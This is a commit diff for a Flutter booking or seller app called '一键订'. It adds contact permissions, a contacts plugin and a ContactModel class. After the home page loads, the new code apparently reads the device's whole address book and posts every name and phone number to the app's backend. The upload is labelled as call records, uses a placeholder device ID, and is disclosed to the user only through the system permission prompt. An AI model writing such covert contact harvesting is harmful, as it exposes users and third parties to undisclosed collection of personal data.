Commit c4d78e0b61252fa80dc7b5ead131fb990478697a

Authored by gaiyaguang
1 parent f7cc33c1

2020-09-07

... ... @@ -6,6 +6,10 @@
In most cases you can leave this as-is, but you if you want to provide
additional functionality it is fine to subclass or reimplement
FlutterApplication and put your custom class here. -->
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<application
android:name="io.flutter.app.FlutterApplication"
android:label="一键订"
... ...
... ... @@ -7,6 +7,8 @@ PODS:
- Reachability
- connectivity_macos (0.0.1):
- Flutter
- contacts_service (0.2.2):
- Flutter
- device_info (0.0.1):
- Flutter
- Flutter (1.0.0)
... ... @@ -63,6 +65,7 @@ DEPENDENCIES:
- audioplayers (from `.symlinks/plugins/audioplayers/ios`)
- connectivity (from `.symlinks/plugins/connectivity/ios`)
- connectivity_macos (from `.symlinks/plugins/connectivity_macos/ios`)
- contacts_service (from `.symlinks/plugins/contacts_service/ios`)
- device_info (from `.symlinks/plugins/device_info/ios`)
- Flutter (from `Flutter`)
- flutter_bugly (from `.symlinks/plugins/flutter_bugly/ios`)
... ... @@ -100,6 +103,8 @@ EXTERNAL SOURCES:
:path: ".symlinks/plugins/connectivity/ios"
connectivity_macos:
:path: ".symlinks/plugins/connectivity_macos/ios"
contacts_service:
:path: ".symlinks/plugins/contacts_service/ios"
device_info:
:path: ".symlinks/plugins/device_info/ios"
Flutter:
... ... @@ -146,6 +151,7 @@ SPEC CHECKSUMS:
Bugly: 4edda9bb0e3017fd453612189069757195fa23ca
connectivity: 6e94255659cc86dcbef1d452ad3e0491bb1b3e75
connectivity_macos: e2e9731b6b22dda39eb1b128f6969d574460e191
contacts_service: 849e1f84281804c8bfbec1b4c3eedcb23c5d3eca
device_info: d7d233b645a32c40dfdc212de5cf646ca482f175
Flutter: 0e3d915762c693b495b44d77113d4970485de6ec
flutter_bugly: c9800f4d5bc5bdc27ffdde3417a26ba44266e0c3
... ...
... ... @@ -383,7 +383,7 @@
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = Runner/RunnerProfile.entitlements;
CODE_SIGN_STYLE = Manual;
CURRENT_PROJECT_VERSION = 7;
CURRENT_PROJECT_VERSION = 8;
DEVELOPMENT_TEAM = 8J59HM8B82;
ENABLE_BITCODE = NO;
FRAMEWORK_SEARCH_PATHS = (
... ... @@ -396,7 +396,7 @@
"$(inherited)",
"$(PROJECT_DIR)/Flutter",
);
MARKETING_VERSION = 1.0.7;
MARKETING_VERSION = 1.0.8;
PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine;
PRODUCT_NAME = "一键订";
PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile";
... ... @@ -526,7 +526,7 @@
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements;
CODE_SIGN_STYLE = Manual;
CURRENT_PROJECT_VERSION = 7;
CURRENT_PROJECT_VERSION = 8;
DEVELOPMENT_TEAM = 8J59HM8B82;
ENABLE_BITCODE = NO;
FRAMEWORK_SEARCH_PATHS = (
... ... @@ -539,7 +539,7 @@
"$(inherited)",
"$(PROJECT_DIR)/Flutter",
);
MARKETING_VERSION = 1.0.7;
MARKETING_VERSION = 1.0.8;
PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine;
PRODUCT_NAME = "一键订";
PROVISIONING_PROFILE_SPECIFIER = "Push Development Profile";
... ... @@ -558,7 +558,7 @@
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements;
CODE_SIGN_STYLE = Manual;
CURRENT_PROJECT_VERSION = 7;
CURRENT_PROJECT_VERSION = 8;
DEVELOPMENT_TEAM = 8J59HM8B82;
ENABLE_BITCODE = NO;
FRAMEWORK_SEARCH_PATHS = (
... ... @@ -571,7 +571,7 @@
"$(inherited)",
"$(PROJECT_DIR)/Flutter",
);
MARKETING_VERSION = 1.0.7;
MARKETING_VERSION = 1.0.8;
PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine;
PRODUCT_NAME = "一键订";
PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile";
... ...
... ... @@ -14,5 +14,6 @@ class HttpUrl{
static const String set_message_status="?service=Android.Advance.SetMessageStatus";//设置消息状态
static const String get_sms_content="?service=App.SendSMS.GetSmsContent";//获取短信内容
static const String send_sms="?service=App.SendSMS.NewMessage";//发送短信
static const String check_update="http://xt03.colorcun.com/admin/api/compareversion?flat=3";
static const String check_update="http://xt03.colorcun.com/admin/api/compareversion?flat=3";
static const String upload_contact="?service=App.Seller.SaveCallRecord";//上传通讯录
}
\ No newline at end of file
... ...
... ... @@ -10,6 +10,7 @@ import 'package:one_key/models/message.dart';
import 'package:one_key/pages/message/message_page.dart';
import 'package:one_key/pages/my/my_page.dart';
import 'package:one_key/pages/notebook/notebook_page.dart';
import 'package:one_key/provider/contact_model.dart';
import 'package:one_key/provider/message_dialog_model.dart';
import 'package:one_key/provider/message_model.dart';
import 'package:one_key/provider/my_model.dart';
... ... @@ -78,6 +79,7 @@ class HomePageState extends State<HomePage>{
// initXinge();
WidgetsBinding.instance.addPostFrameCallback((_){
if(widget.initialIndex==0)return;
ContactModel.getInstance().uploadLocalContact(context);
// getUntreatedMessage();
// UpdateModel updateModel=new UpdateModel();
// updateModel.checkUpdate(context);
... ...
import 'dart:convert';
import 'dart:io';
import 'package:contacts_service/contacts_service.dart';
import 'package:dio/dio.dart';
import 'package:flutter/cupertino.dart';
import 'package:one_key/constant/constant.dart';
import 'package:one_key/net/base_resp.dart';
import 'package:one_key/net/dio_util.dart';
import 'package:one_key/net/http_url.dart';
import 'package:one_key/utils/log_util.dart';
import 'package:one_key/utils/misc.dart';
/**
* 上传联系人
*/
class ContactModel{
ContactModel._();
static ContactModel _instance;
static ContactModel getInstance(){
if(_instance==null){
_instance=ContactModel._();
}
return _instance;
}
uploadLocalContact(BuildContext context) async {
bool authority=await requestContactPermission();
if(authority){
Iterable<Contact> contacts=await ContactsService.getContacts(withThumbnails: false);
List<Map<String,String>> callLogs=[];
LogUtil.v("length:${contacts.length}");
contacts.forEach((contact){
String phoneNum="";
if(contact.phones.isNotEmpty){
phoneNum=contact.phones.first.value.trim();
}
Map<String,String> callLog={
"phoneNum":"$phoneNum",
"sid":"154",
"deviceId":"dhgajkhdgahghsdghdkgahd",
"phoneDate":"${DateTime.now().millisecondsSinceEpoch}",
"callType":"2",
"callUser":"${contact.displayName}"
};
callLogs.add(callLog);
});
Map<String,String> params={
"data":jsonEncode(callLogs)
};
BaseResp<String> baseResp = await DioUtil()
.request<String>(context, Method.get, HttpUrl.upload_contact,
data: params,options: Options(method: Method.post,contentType: ContentType.parse("application/x-www-form-urlencoded")))
.catchError((error) {
print(error.toString());
});
if(baseResp!=null&&baseResp.code == Constant.status_success){
LogUtil.v("联系人上传成功:${contacts.length}条");
}
}
}
}
\ No newline at end of file
... ...
... ... @@ -173,7 +173,7 @@ class DialogUtil {
decoration: BoxDecoration(
color: MyColours.color_2bb5b7),
headerPadding: EdgeInsets.zero,
formatButtonVisible: true,
formatButtonVisible: false,
centerHeaderTitle: false,
titleTextBuilder: (dateTime, _) {
return dateTime.year.toString() +
... ...
import 'package:flutter/services.dart';
import 'package:permission_handler/permission_handler.dart';
Future<bool> checkContactPermission() async {
PermissionStatus permissionStatus =
await PermissionHandler().checkPermissionStatus(PermissionGroup.contacts);
if (permissionStatus == PermissionStatus.granted) {
return true;
} else {
return false;
}
}
Future<bool> requestContactPermission() async {
final permissions =
await PermissionHandler().requestPermissions([PermissionGroup.contacts]);
if (permissions[PermissionGroup.contacts] == PermissionStatus.granted) {
return true;
} else {
return false;
}
}
Future<bool> openSetting() {
return PermissionHandler().openAppSettings();
}
... ...
... ... @@ -155,6 +155,13 @@ packages:
url: "https://pub.flutter-io.cn"
source: hosted
version: "1.0.3"
contacts_service:
dependency: "direct main"
description:
name: contacts_service
url: "https://pub.flutter-io.cn"
source: hosted
version: "0.4.6"
convert:
dependency: transitive
description:
... ...
... ... @@ -81,6 +81,9 @@ dependencies:
device_info: ^0.4.2+4
# webview
webview_flutter: ^0.3.22+1
# 获取通讯录
contacts_service: ^0.4.6
dev_dependencies:
flutter_test:
... ...